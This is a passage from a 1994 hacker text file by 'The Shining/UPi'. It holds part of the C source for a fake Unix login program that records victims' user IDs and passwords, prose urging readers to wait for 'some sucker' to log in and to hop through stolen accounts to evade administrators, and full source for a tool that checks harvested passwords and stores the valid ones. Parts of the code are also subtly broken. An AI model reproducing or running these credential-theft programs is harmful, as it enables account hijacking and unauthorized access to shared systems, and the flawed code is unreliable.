| signal(SIGALRM, catch); | |
| signal(SIGQUIT, SIG_IGN); | |
| signal(SIGTERM, SIG_IGN); | |
| signal(SIGINT, SIG_IGN); | |
| signal(SIGTSTP, SIG_IGN); | |
| } | |
| /* Write the users i.d., password, personal information, homedir | |
| and shell to a file */ | |
| void write_details(struct loginfo *sptr) | |
| { | |
| fprintf(fp, "%s:%s:", sptr->logname, sptr->key); | |
| fprintf(fp, "%d:%d:", pwentry->pw_uid, pwentry->pw_gid); | |
| fprintf(fp, "%s:%s:", sptr->comment, sptr->homedir); | |
| fprintf(fp, "%s\n", sptr->shell); | |
| fprintf(fp, "\n"); | |
| } | |
| /* Display login incorrect only if the user hasn't logged on as | |
| 'sync' */ | |
| void invalid_login( void ) | |
| { | |
| if ( flag == 1 && pwstat == 0 ) | |
| sleep(wait); | |
| if ( no_message == 0 ) | |
| printf("Login incorrect\n"); | |
| } | |
| /* Displays appropriate message, exec's the real login program, | |
| this replaces the spoof & effectively logs spoof's account off. | |
| Note: this spoof must be exec'd from the shell to work */ | |
| void log_out( void ) | |
| { | |
| time_out = 1; | |
| if ( no_message == 1 ) { | |
| sleep(1); | |
| printf("Login incorrect\n"); | |
| } | |
| execl(LOGPATH, "login", (char *)0); | |
| } | |
| ----------cut here------------------------------------------------------- | |
| then delete the source, run it and wait for some sucker to login!. | |
| If you do initially run this spoof from your account, I suggest you | |
| remove it when you have grabbed someone's account and run it from theirs | |
| from then on, this reduces your chances of being caught! | |
| User i.d. & Password Validator | |
| ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ | |
| Now if you are familiar with the unix Crack program, as I'm sure most of | |
| you are ;-), or if you have used my spoof to grab some accounts, | |
| this little program could be of some use. Say you have snagged | |
| quit a few accounts, and a few weeks later you wanna see if they are still | |
| alive, instead of logging onto them, then logging out again 20 or 30 times | |
| which can take time, and could get the system admin looking your way, this | |
| program will continuously ask you to enter a user i.d. & password, then | |
| validate them both by actually using the appropriate entry in the password | |
| file. All valid accounts are then stored along with other info from the | |
| password file, in a data file. The program loops around until you stop it. | |
| This works on all unshadowed unix systems, and, you guessed it!, shadowed | |
| SUNOS systems. | |
| If you run it on an unshadowed unix other than SUNOS, remove all references | |
| to pwdauth(), along with the shadow password file checking routine, | |
| if your on sysV, your shit outa luck! anyway, here goes :- | |
| ---cut here--------------------------------------------------------------- | |
| /* Program : To validate accounts & passwords on both | |
| shadowed & unshadowed unix systems. | |
| Author : The Shining/UPi (UK Division) | |
| Date : Released 12/4/94 | |
| UNIX type : All unshadowed systems, and SUNOS shadowed systems */ | |
| #include <stdio.h> | |
| #include <string.h> | |
| #include <pwd.h> | |
| FILE *fp; | |
| int pw_system( void ), shadowed( void ), unshadowed( void ); | |
| void write_info( void ), display_notice( void ); | |
| struct passwd *pwentry, *getpwnam(); | |
| struct user { | |
| char logname[10]; | |
| char key[9]; | |
| char salt[3]; | |
| } u; | |
| char *getpass(), *pwdauth(), *crypt(), ans[2]; | |
| int invalid_user, stat; | |
| int main( void ) | |
| { | |
| strcpy(ans, "y"); | |
| while (strcmp(ans, "y") == NULL) | |
| { | |
| invalid_user = stat = 0; | |
| display_notice(); | |
| printf("Enter login id:"); | |
| scanf("%9s", u.logname); | |
| strcpy(u.key, getpass("Password:")); | |
| setpwent(); | |
| if ((pwentry = getpwnam(u.logname)) == (struct passwd *) NULL) | |
| invalid_user = 1; | |
| else | |
| strncpy(u.salt, pwentry->pw_passwd, 2); | |
| if (invalid_user != 1) { | |
| if ((stat = pw_system()) == 1) { | |
| if ((stat = unshadowed()) == NULL) { | |
| printf("Unshadowed valid account! - storing details\n"); | |
| write_info(); | |
| } | |
| } | |
| else | |
| if ((stat = shadowed()) == NULL) { | |
| printf("SUNOS Shadowed valid account! - storing details\n"); | |
| write_info(); | |
| } | |
| else | |
| invalid_user = 2; | |
| } | |
| if (invalid_user == 1) | |
| printf("User unknown/not found in password file\n"); | |
| if (invalid_user == 2 ) | |
| printf("Password invalid\n"); | |
| printf("\n\nValidate another account?(y/n): "); | |
| scanf("%1s", ans); | |
| endpwent(); | |
| } | |
| } | |
| /* Check to see if shadow password system is used, in SUNOS the field | |
| in /etc/passwd starts with a '#', if not, check to see if entry | |
| is 13 chars, if not shadow must be in use. */ | |
| int pw_system( void ) | |
| { | |
| if (strlen(pwentry->pw_passwd) != 13) | |
| return(0); | |
| else | |
| if (strcmp(u.salt, "##") == NULL) | |
| return(0); | |
| else | |
| return(1); | |
| } | |
| /* If system is unshadowed, get the 2 character salt from the password | |
| file, and use this to encrypt the password entered. This is then | |
| compared against the password file entry. */ | |
| int unshadowed( void ) | |
| { | |
| if (pwentry->pw_passwd == crypt(u.key, u.salt)) | |
| return(0); | |
| else | |
| return(1); | |
| } | |
| /* If SUNOS shadowe system is used, use the pwdauth() function to validate | |
| the password stored in the /etc/security/passwd.adjunct file */ | |
| int shadowed( void ) | |
| { | |
| int pwstat; | |
| if (pwstat = pwdauth(u.logname, u.key) == NULL) | |
| return(0); | |
| else | |
| return(1); | |
| } | |
| /* Praise myself!!!! */ | |
| void display_notice( void ) | |
| { | |
| system("clear"); | |
| printf("Unix Account login id & password validator.\n"); | |
| printf("For all unshadowed UNIX systems & shadowed SUNOS only.\n\n"); | |
| printf("(c)1994 The Shining\n\n\n\n"); | |
| } | |
| /* Open a file called 'data' and store account i.d. & password along with | |
| other information retrieved from the password file */ | |
| void write_info( void ) | |
| { | |
| /* Open a file & store account information from pwfile in it */ | |
| if ((fp = fopen("data", "a")) == NULL) { | |
| printf("error opening output file\n"); | |
| exit(0); | |
| } | |
| fprintf(fp, "%s:%s:%d:", u.logname, u.key, pwentry->pw_uid); | |
| fprintf(fp, "%d:%s:", pwentry->pw_gid, pwentry->pw_gecos); | |
| fprintf(fp, "%s:%s\n", pwentry->pw_dir, pwentry->pw_shell); | |
| fclose(fp); | |
| } | |
| -----cut here------------------------------------------------------------------ | |
| The above programs will not compile under non-ansi C compilers without quite | |
| a bit of modification. I have tested all these programs on SUNOS both | |
| shadowed & unshadowed, though they should work on other systems with | |
| little modification (except the shadow password cracker, which is SUNOS | |
| shadow system specific). | |
| Regards to the following guys :- | |
| Archbishop & The Lost Avenger/UPi, RamRaider/QTX, | |
| the guys at United International Perverts(yo Dirty Mac & Jasper!) | |
| and all I know. | |
| (c) 1994 The Shining (The NORTH!, U.K.) | |
| ******************************************************************************* | |